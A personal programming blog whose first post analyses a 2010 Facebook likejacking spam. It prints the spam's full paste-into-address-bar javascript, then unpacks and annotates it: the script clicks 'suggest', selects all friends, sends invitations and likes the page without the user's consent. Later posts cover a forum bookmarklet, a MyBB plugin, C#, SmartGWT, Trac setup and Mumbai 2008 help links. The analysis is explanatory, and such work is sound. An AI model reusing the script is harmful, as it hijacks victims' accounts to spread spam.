May 14 2010

Latest Facebook Spam

Tag: Javascript, WebAbhijeet Maharana @ 1:59 am

You have seen those Facebook updates that go “***** and ***** like if he/she tells these lies, 99% chance they are cheating on you.” and the like. If you go to the page and do as the page says, you will end up liking the page (automatically) and your friends will receive a “suggestion”. I fell victim too. The lure of finding out hidden stuff is just too strong :)

After a couple of such updates, it was obvious this is some sort of spam. And it is spreading fast too. I paid attention to the instructions on such pages. CTRL + C, ALT + D, CTRL + V and Enter. So copy & paste something in the address bar and GO. The copied stuff has to be a link … or a script. Sure enough, it is a script. Here is the encoded form:

javascript:(function(){a='app121213611239754_jop';b='app121213611239754_jode';ifc='app121213611239754_ifc';ifo='app121213611239754_ifo';mw='app121213611239754_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

Lets beautify it a bit using jsbeautifier:

(function () {
    a = 'app121213611239754_jop';
    b = 'app121213611239754_jode';
    ifc = 'app121213611239754_ifc';
    ifo = 'app121213611239754_ifo';
    mw = 'app121213611239754_mwrapper';
    eval(function (p, a, c, k, e, r) {
        e = function (c) {
            return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
        };
        if (!''.replace(/^/, String)) {
            while (c--) r[e(c)] = k[c] || e(c);
            k = [function (e) {
                return r[e]
            }];
            e = function () {
                return '\\w+'
            };
            c = 1
        };
        while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
        return p
    }('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);', 62, 69, '||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'), 0, {}))
})();

Couple of variable declarations and somewhere in there there is “eval(function(p,a,c,k,e,r)” which means this Javascript is packed using Dean Edwards’ packer. So lets unpack it using this tool.

var _0x95ea = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", "\x73\x74\x79\x6C\x65", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x68\x69\x64\x64\x65\x6E", "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x76\x61\x6C\x75\x65", "\x73\x75\x67\x67\x65\x73\x74", "\x6C\x69\x6B\x65\x6D\x65", "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", "\x63\x6C\x69\x63\x6B", "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
 
d = document;
d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];
d[_0x95ea[2]](a)[_0x95ea[4]] = d[_0x95ea[2]](b)[_0x95ea[5]];
 
s = d[_0x95ea[2]](_0x95ea[6]);
m = d[_0x95ea[2]](_0x95ea[7]);
c = d[_0x95ea[9]](_0x95ea[8]);
 
c[_0x95ea[11]](_0x95ea[10], true, true);
s[_0x95ea[12]](c);
 
setTimeout(function () {
	fs[_0x95ea[13]]()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager[_0x95ea[16]](_0x95ea[14], _0x95ea[15])
}, 5000);
 
setTimeout(function () {
	m[_0x95ea[12]](c);
	d[_0x95ea[2]](ifo)[_0x95ea[4]] = d[_0x95ea[2]](ifc)[_0x95ea[5]]
}, 5000);

The array _0×95ea contains hex coded strings. To find out what they mean, we just use an alert

alert(_0x95ea.join(','));

Those are your strings. Go back and replace them in the array.

var _0x95ea = ["visibility", 
	"style", 
	"getElementById", 
	"hidden", 
	"innerHTML", 
	"value", 
	"suggest", 
	"likeme", 
	"MouseEvents", 
	"createEvent", 
	"click", 
	"initEvent", 
	"dispatchEvent", 
	"select_all", 
	"sgm_invite_form", 
	"/ajax/social_graph/invite_dialog.php", 
	"submitDialog"];

Now replace the array references and variable declarations in the code that follows. So

d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]] = _0x95ea[3];

becomes

document['getElementById']('app121213611239754_mwrapper')['style']['visibility'] = 'hidden';

which is same as

document.getElementById('app121213611239754_mwrapper').style.visibility = 'hidden';

The final code looks like this.

// hide the div that shows the CTRL + C etc. animation
document.getElementById('app121213611239754_mwrapper').style.visibility = hidden;
 
// copy code from a hidden text area to a div to create the suggest and likeme nodes
document.getElementById('app121213611239754_jop').innerHTML = document.getElementById('app121213611239754_jode').value;
 
s = document.getElementById('suggest');
m = document.getElementById('likeme');
c = document.createEvent('MouseEvents');
 
c.initEvent('click', true, true);
s.dispatchEvent(c);
 
setTimeout(function () {
	fs.select_all()
}, 5000);
 
setTimeout(function () {
	SocialGraphManager.submitDialog('sgm_invite_form', '/ajax/social_graph/invite_dialog.php')
}, 5000);
 
setTimeout(function () {
	m.dispatchEvent(c);
	document.getElementById(ifo).innerHTML = document.getElementById(ifc).value
}, 5000);

‘app121213611239754_jode’ is a hidden text area which contains following code

<div class=​"suggestdiv">​
<a id=​"suggest" href=​"#" ajaxify=​"/​ajax/​social_graph/​invite_dialog.php?class=FanManager&​node_id=115065838533943" class=​" profile_action actionspro_a" rel=​"dialog-post">​Suggest to Friends​</a>​
</div>​
<div class=​"likemediv">​
<a ajaxify=​"/​ajax/​pages/​fan_status.php?fbpage_id=115065838533943&​add=1&​reload=0&​preserve_tab=1&​use_primer=1" id=​"likeme" rel=​"async-post" class=​"UIButton UIButton_Gray UIButton_CustomIcon UIActionButton" href=​"#">​
<span class=​"UIButton_Text">​
<i class=​"UIButton_Icon img spritemap_icons sx_icons_like">​</i>​
"Like"
</span>​
</a>​
</div>​

This code is copied to the outer DIV which creates the “suggest” and “likeme” links. Using the timeouts, suggest link is clicked, all friends are selected and invitations are sent. Then you end up liking the page.

Neat!


May 05 2010

Forum thread collapser using jQuery

Tag: Javascript, Programming, Web, jQueryAbhijeet Maharana @ 5:43 pm

Sometimes when viewing a large forum thread, it would be great if you could highlight all posts by a particular user in that thread. While there might be server side plugins for the various forum software bundles available, the admins may not like the idea of installing them unless requested by a large number of users. I went ahead and wrote a script that does this by manipulating the DOM on the client. Again, such functionality is best implemented as a plugin for the forum software itself. But this is a handy script nevertheless.

It is implemented as a bookmarklet which you can drag to your bookmarks toolbar. When browsing a particular thread, select the username whose posts you want to browse and click the bookmark. It will collapse posts by other users so that posts by the user you are interested in will stand out. Other posts can be expanded/collapsed if needed. If you do not select any username, the bookmarklet will prompt for it. In your user control panel for that forum, you can change the visible posts to the maximum available and then use this to quickly go through the posts that contains answers.

There are many forum hosting software available such as MyBB, vBulletin etc. and each has its own layout of rendering posts. Further, within each, there are themes that modify the post layout. Some display the post metadata to the left while some display it above the post. Browsing through various MyBB based forums, I found that there are mainly 2 types of themes that render post metadata to the left. Both look same. Difference is in the DOM structure. First type uses a big table and individual rows for each post. Second type uses divs and nested tables for each row. A generic script to handle all forum types and variants will require some more work than what I am posting here. This script works with a subset: MyBB based forums with themes of first type.

Here is the bookmarklet: Thread collapser. There will be a slight delay when you run this first time. I adapted the jQuerify bookmarklet by Karl Swedberg to inject jQuery into the DOM and then execute our function when jQuery has been loaded successfully. It loads jQuery from Google CDN and once that is cached locally, you won’t notice the delay. Here is the complete script.

Here is a short description of how it works. I am only posting the body for startScript() which is where all our code resides. We start off by getting hold of the user selection on the page – which is supposed to be the post author. If there is no selection, it prompts for the author.

1
2
3
4
5
6
7
8
var author = getSelectedText();
if(author == '')
        author = prompt('Screen name?');
 
if(author == null || author == '')
        return false;
 
author = author.trim().toLowerCase();

Then we get hold of all the posts on the page and check if there is any post by that particular author. The selectors are fairly straightforward if you revisit the DOM structure of the template type that we are handling. Within each post TR, the first TD holds the post metadata. Post author is within an A element which points to the profile page (member.php with an UID). We iterate through all the post authors and mark a true for each one that matches what we are looking for. After the loop, we check how many true values we have.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var postRows = jQuery('div#container div#content table:first')  // get post table
        .children() // get tbody
        .children() // get trs
        .not('tr:has(td.trow_sep)') // remove post separators
        .not(':odd')    // remove post footer that has links
        .slice(1,-1);   // remove table header and footer
 
var numPostsByAuthor = jQuery('td:first a[href^=member.php]', postRows).map(
        function(){
                if(jQuery(this).text().toLowerCase() == author)
                    return true;
                else
                    return null;
        }
).size();
 
if(numPostsByAuthor == 0)
{
        alert('There are no posts by "' + author + '" on this page.');
        return false;
}

If there are posts by our author, we iterate again – collapsing posts by other authors and attaching click handlers to let the user expand them if needed (like when a post refers to a post above but hasn’t quoted it).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
postRows.each(function(){
        var postAuthor = jQuery('td:first a[href^=member.php]',this).text().toLowerCase();
        if(author != postAuthor)
        {
            var currRow = jQuery(this);
            var nextRow = currRow.next();
 
            currRow.hide();
            var nextClass = nextRow.find('td:first').attr('class');
 
            var nextRowCol1 = jQuery('<td class="' + nextClass + ' smalltext">' + postAuthor + '</td>');
            var nextRowCol2 = jQuery('<td class="' + nextClass + '">[+]</td>');
            nextRow.html('');
            nextRow.append(nextRowCol1, nextRowCol2);
            nextRow.css('cursor','pointer');
 
            nextRow.toggle(function(){
                currRow.show();
                nextRow.css('font-weight','bold');
                nextRowCol2.html('[-]');
            }, function(){
                currRow.hide();
                nextRowCol2.html('[+]');
            });
        }
});

When a post is collapsed, its footer is updated with the post author and a [+] mark next to it. When this post is expanded, the footer is made bold to indicate this has been seen and the [+] turns into a [-]. Here is the output when I tested it on http://www.gfx-depot.com/forum/throw-something-at-the-person-above-you-t-1003.html.


Mar 24 2010

MyBB Username Reference Notification Plugin

Tag: PHP, ProgrammingAbhijeet Maharana @ 5:15 pm

Jayant and I collaborated on the development of a MyBB plugin. It enables MyBB based forums to send out email notifications to users when their username is referenced in a post – preceded by the @ character. Of course, users have to opt in to receive such notification. So the plugin adds a checkbox to the User CP for this purpose.

Screenshot of the extra option added to User CP

This is how someone will reference the username in a post. This will not work for usernames with spaces and special characters. For handling these cases, the regex used in the get_users_to_notify() function will need improvement.

@jayant Hi this is a test post

This is the email notification that is sent to the user

jayant,
 
       abhijeet has just referenced you in a post on MyTestForum.
 
       To view the post, you can go to the following URL:
       http://localhost/mybb/showthread.php?tid=1&pid=14#pid14
 
       Thank you,
       MyTestForum Staff

You can download the plugin here. Extract the archive and copy urnotification.php to the inc/plugins folder. You can then enable it from the Admin Control Panel.

We referred the source of gtalk profile plugin by ssmol while developing this one. The “debugging” environment was NetBeans 6.8 with PHP bundle, XAMPP 1.7.3 and MyBB 1.4.11.


Dec 25 2009

C# – Alternative to overriding static variables

Tag: .NET, C#, ProgrammingAbhijeet Maharana @ 9:22 pm

In a recent project, I came across a peculiar requirement.

Modified version of the requirement:
1. Define a static variable in base class (say Code)
2. Define a property in base class that accesses Code (say Message)
3. Modify the value of Code in derived class
4. BaseInstance.Message should access the value of Code defined in base class whereas DerivedInstance.Message should access the one defined in derived class.

So I tried the following

namespace StaticTest
{
    class Base
    {
        protected static int Code = 1;
 
        public String Message
        {
            get
            {
                switch (Code)
                {
                    case 1:
                        return "One";
 
                    case 2:
                        return "Two";
 
                }
 
                return "Default";
            }
        }
    }
 
    class Derived : Base
    {
        protected static new int Code = 2;
    }
 
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Base.Message: " + new Base().Message);
            Console.WriteLine("Derived.Message: " + new Derived().Message);
 
            Console.Read();
        }
    }
}

This did not work and the output was

Base.Message: One
Derived.Message: One

Turns out that Message needs to be redefined in Derived to be able to access the new value of Code. With a lot of derived classes, this was impractical and Message’s getter was a bit more involved than what I have written above.

I found a neat solution by Dave Booker posted here.

Define a custom attribute class

[AttributeUsage(AttributeTargets.Class, Inherited = true)]
public class CodeAttribute : Attribute
{
        public int Code;
        public CodeAttribute(int code)
        {
            Code = code;
        }
}

Then define attribute values for the 2 classes:

[CodeAttribute(1)]
class Base
{ ... }
 
[CodeAttribute(2)]
class Derived
{ ... }

Now delete the Code property from the classes and modify Message to retrieve the code like this:

public String Message
{
	get
        {
                int Code = ((CodeAttribute) Attribute.GetCustomAttribute(this.GetType(), typeof(CodeAttribute))).Code;
 
                switch (Code)
                {
                    case 1:
                        return "One";
 
                    case 2:
                        return "Two";
 
                }
 
                return "Default";
         }
}

This returned the values as expected. If the derived class is not supplied with an attribute value, it just inherits the value from its parent. So not exactly a static variable but it behaves like one that can be inherited and overriden if necessary. Quite elegant!

The original requirement was to eliminate any instances of both classes. This meant Message had to be a static property. I haven’t been able to figure out how to do that … specifically how to replace “this.GetType()” with something static that returns which class the property was invoked with rather than the class which it was defined in (which is what the reflection based methods do).

Any ideas? Other than getting into IL code to see if and how this can be done?


Mar 14 2009

OpenGL workshop and nostalgia

Tag: Workshops/SeminarsAbhijeet Maharana @ 8:57 pm

I conducted a workshop on OpenGL today. It was in the same college where I completed my Engineering, SFIT Borivali. I had done it for the first time in 2003. And I remember how nervous I was because I was in the 2nd year and almost everyone who participated was a senior! Although everyone was from 2nd year this time, it wasn’t much different. I was as nervous when I started off because I had done this 3 years back and couldn’t go through the content even once. However I had saved all the material used earlier and this saved me lots of time.

I was nostalgic all the time. Same college, same labs, not the same machines but I had worked on these machines before moving out. Brought back all those memories. All new faces but the same curiosity which made me spend an entire semester struggling to figure out how VC++ 6 is different from Turbo C and why Turbo C won’t compile the OpenGL programs that I had downloaded! And how GLUT came to my rescue before my curiosity died while meddling with the Windows API! In the rush to make a living by working on stuff that the industry pays for, that curiosity has had to take a backseat after I got out from college. But it felt very nice to get back after such a long time! If someone could pay for my material needs while I did this, nothing like it!

Ajesh came along to help the participants. Thanx a ton man! He clicked a few snaps. Ill put them up in the wokshops section. Now back to the present and back to the task at hand :)


Dec 12 2008

Override rendering of column from SmartGWT data source

Tag: Gwt, Java, Programming, smartgwtAbhijeet Maharana @ 10:17 pm

SmartGWT widgets can render themselves sensibly using the data source definition. So for a grid, we don’t need to define the columns explicitly. However, we can override the rendering of some or all columns as needed.

Assume that our data source and data looks like this:

class CompanyDataSource extends DataSource {
	public CompanyDataSource(String id) {
		setID(id);
 
		DataSourceTextField companyName = new DataSourceTextField("company", "Company");
		DataSourceFloatField price = new DataSourceFloatField("price", "Price");
		DataSourceDateField lastChanged = new DataSourceDateField("lastChanged", "Last Changed");
		setFields(companyName, price, lastChanged);
	}
}
"3m Co", "71.72", "9/1 01:25 AM"

And the grid that renders this data

DataSource dataSource = new CompanyDataSource(“companyList1”);
dataSource.setClientOnly(true);
 
ListGrid companyGrid = new ListGrid();
companyGrid.setHeight(300);
companyGrid.setWidth(500);
companyGrid.setTitle("SmartGWT grid");
companyGrid.setDataSource(dataSource);
companyGrid.setAutoFetchData(true);

To override the display format of lastChanged column, one approach would be

ListGridField lastChangedField = new ListGridField("lastChanged", "Last Changed (new title)", 180);
CellFormatter dateFormatter = new CellFormatter(){
	public String format(Object value, ListGridRecord record, int rowNum, int colNum) {
 
		DateTimeFormat inputFormat = DateTimeFormat.getFormat("d/M hh:mm a");
		DateTimeFormat outputFormat = DateTimeFormat.getFormat("MMM dd HH 'hours' mm 'minutes'");
		Date inputDate = inputFormat.parse(value.toString());
		String output = outputFormat.format(inputDate);
 
		return output;
	}
};
 
lastChangedField.setCellFormatter(dateFormatter);
companyGrid.setFields(lastChangedField);

We define a ListGridField with the same name “lastChanged” as in the data source. SmartGWT will use this name to do the merge. Our custom cell formatter matches the input date format and returns it in a different format.

But now the grid will only display this field. To cause it to display other data source fields as they are, we need to call

companyGrid.setUseAllDataSourceFields(true);

We can also override the date format in the data source itself so that all widgets sourcing this data will reflect it. As I was thinking about this, I came across this post on the SmartGWT forums. The API will support this functionality soon and as that thread also mentions, for formatting dates, you can use ListGrid.setDateFormatter() and DateItem.setDisplayFormat().

Thats it for this time. Ill keep posting tidbits as I learn along the way.


Dec 07 2008

GWT-Ext Store to SmartGWT DataSource

Tag: Ext, Gwt, Java, Programming, smartgwtAbhijeet Maharana @ 2:18 am

GWT-Ext Store instances are all over my code. And I am populating them by various means. While migrating from GWT-Ext to SmartGWT, converting Stores to DataSources will probably take up a lot of time. I was wondering if I could migrate and test only the grids first and deal with the stores later. Code below could help do just that. It creates a DataSource from a Store. You can use this data source to populate SmartGWT grids and when the grids are working fine, replace the stores completely. Isn’t exactly a life saver but nevertheless. Have tested it only on a trivial store.

It doesn’t matter but assume that the RecordDef used to create the Store looks like this:

RecordDef recordDef = new RecordDef(new FieldDef[] {
	new StringFieldDef("company"), 
	new FloatFieldDef("price"),
	new FloatFieldDef("change"), 
	new FloatFieldDef("pctChange"),
	new DateFieldDef("lastChanged", "n/j h:ia"),
	new StringFieldDef("symbol"), 
	new StringFieldDef("industry") 
});

Create a DataSource with the same fields:

private DataSource createDataSource(Store store){
	DataSource dataSource = new DataSource();
	dataSource.setClientOnly(true);
 
	String[] fields = store.getFields();
	for(String field:fields) {
		DataSourceField smartgwtField = new DataSourceField();
		smartgwtField.setName(field);
		dataSource.addField(smartgwtField);
	}
	return dataSource;
}

Add a method that copies records from the Store to the data source created above and call it in the Store’s onLoad handler

public void copyStore(Store store, DataSource dataSource) {
	Record[] records = store.getRecords();
	String[] fields = store.getFields();
 
	for(Record gwtextRecord:records) {
		ListGridRecord smartgwtRecord = new ListGridRecord();
		for(String field:fields) {
			smartgwtRecord.setAttribute(field, gwtextRecord.getAsString(field));
		}
		dataSource.addData(smartgwtRecord);
	}
}

For heavy stores, this code will probably punish the browser and column data types are ignored as well but it is meant only for the dev environment until all components have been replaced eventually.

PS: If you need it, here is a small sample with GWT-Ext and SmartGWT grids being populated from the same RPC method. You will need to add gwtext.jar and smartgwt.jar and use Cypal studio plugin or add compile/run scripts.


Nov 29 2008

Trac on Windows

Tag: Project Management, PythonAbhijeet Maharana @ 3:34 am

I needed to install Trac on my laptop. Trac is an enhanced wiki and issue tracking system for software development projects. I had used it about 2 years back and had liked it then. However, I had never installed it myself. I assumed it will be like any other installation. But just after starting out, I realized that I was grossly mistaken. Installing Trac and getting it running with the webadmin plugin and users configured for your projects is a little more than a post-work headache.

I have the following setup:

  • OS: Vista business 32-bit
  • Python: Not already installed on my system

After installation, we will be running Trac 0.10.4 with webadmin plugin and users configured for a project. This installation will be running on Apache and we won’t be using Trac’s standalone webserver (tracd). I am not using Trac’s subversion feature since I am already running VisualSVN server (and I love its ease of use). Ill try to switch sometime later if thats not another royal pain.

It turns out that the steps are quite simple … if you happen to know them.

  • Install Bitnami Trac stack

    Bitnami’s stacks are very handy. They take care of the dependencies required for a piece of software to run. So this will take care of Python, sqlite database and Apache for us. For Trac 0.10, the webadmin plugin needs to be installed separately. 0.11 includes it in the core package itself. However, Bitnami’s stack hasn’t been upgraded yet.

    While installing the Trac stack, select yes when prompted to create a project and provide the details. I will assume installation at “C:\Program Files\BitNami Trac Stack” and first project as Project1.

  • Install webadmin plugin

    Download from the link that says “Download for Trac 0.9.3 or later (Python 2.4)”. (despite the notice that says for 0.10.x, you must build from SVN). After downloading it, remove the .zip extension and drop the resulting .egg file in C:\Program Files\BitNami Trac Stack\projects\Project1\plugins. This will install the webadmin plugin so that we don’t have to resort to the command line every now and then. The plugin will be installed only for this project. To install it for all projects, follow the instructions here.

  • Create users

    Wait, the webadmin plugin doesn’t allow you to create users! Trac uses the authentication provided by the web server. In our case, we need to create users for Apache. We can then assign roles to these users via the Trac webadmin interface.

    Navigate to C:\Program Files\BitNami Trac Stack\trac\conf and locate the htpasswd file. This file holds the usernames and passwords. Bitnami makes the appropriate configuration changes to have Apache authenticate users against this file. Users added to this file will be available across all your projects. For adding a user “abhijeet” to this file, open a command prompt, cd to C:\Program Files\BitNami Trac Stack\apache2\bin and execute the command:

    htpasswd "C:\Program Files\BitNami Trac Stack\trac\conf\htpasswd" abhijeet

    Supply the password when prompted and the new user should be created.

  • Assign roles and permissions

    Restart “tracApache” service from the Windows Services management console and verify that you can login using the newly created username. For assigning permissions to this user, login again as the admin user using the password you supplied during installation. Locate the admin link near the top right corner and click on Permissions on the left. Add a group “developer” and grant permissions for the same. Then add your developers to this group. A screenshot could help (I have edited this image. It was too wide).

You should have the Trac installation running now. Backup is as simple as creating a copy of the “projects” folder. If you can’t see the admin link on the upper right corner after all this, be prepared to spend the night getting it to show up. Start here!

Finally, if you have any Trac tips up your sleeve, I would love to read them. Things such as setting up multiple projects, having different sets of users for projects …



Nov 27 2008

Mumbai 26/11

Tag: UncategorizedAbhijeet Maharana @ 2:00 am

Update (27/11): Help Mumbai page with all relevant phone numbers: http://helpmumbai.pinstorm.com/

There is a lot of trouble in Mumbai, India right now. There are terrorists throughout the city and if you switch the television on at this moment (2 AM), you will lose your nerves. If you want to touchbase with your dear ones here but are not able to get through, leave a message with your and your friend’s numbers. I will try to get through to them as frequently as I can. If you are in Mumbai and can help folks, try and answer the queries here or leave your number here.

Blood needed at various hospitals (source: IBN live stream):
St. George’s hospital: (022) 22620242
JJ Hospital: (022) 23739031

CNN IBN Live Streaming: http://tinyurl.com/644733
DFAT emergency number: 1300 555 135 (via @AnneBB)
http://twitter.com/squorch/status/1025372562
http://twitter.com/Asfaq/statuses/1025385789
Mumbai police telephone numbers: http://www.mumbaipolice.org/imp_telnfax.htm
Wikipedia article: http://en.wikipedia.org/wiki/26_November_2008_Mumbai_attacks

Update: There are people at MumbaiHelp who can help as well http://mumbaihelp.blogspot.com/2008/11/can-we-help.html


Nov 19 2008

SmartGWT 1.0

Tag: Gwt, Web, smartgwtAbhijeet Maharana @ 1:45 am

SmartGWT 1.0, a web application library based on SmartClient and GWT, was released this Monday. From the release announcement at Sanjiv’s blog and the showcase demos, it is evident that this library packs a lot of power and is definitely worth checking out. I have come across SmartClient only recently. And now that I know of it, Ill try and get acquainted with it when I can.

Links:
SmartClient: http://www.smartclient.com/
SmartGWT: http://code.google.com/p/smartgwt/
Visual Builder videos: http://www.smartclient.com/technology/visualbuilder.jsp


Next Page »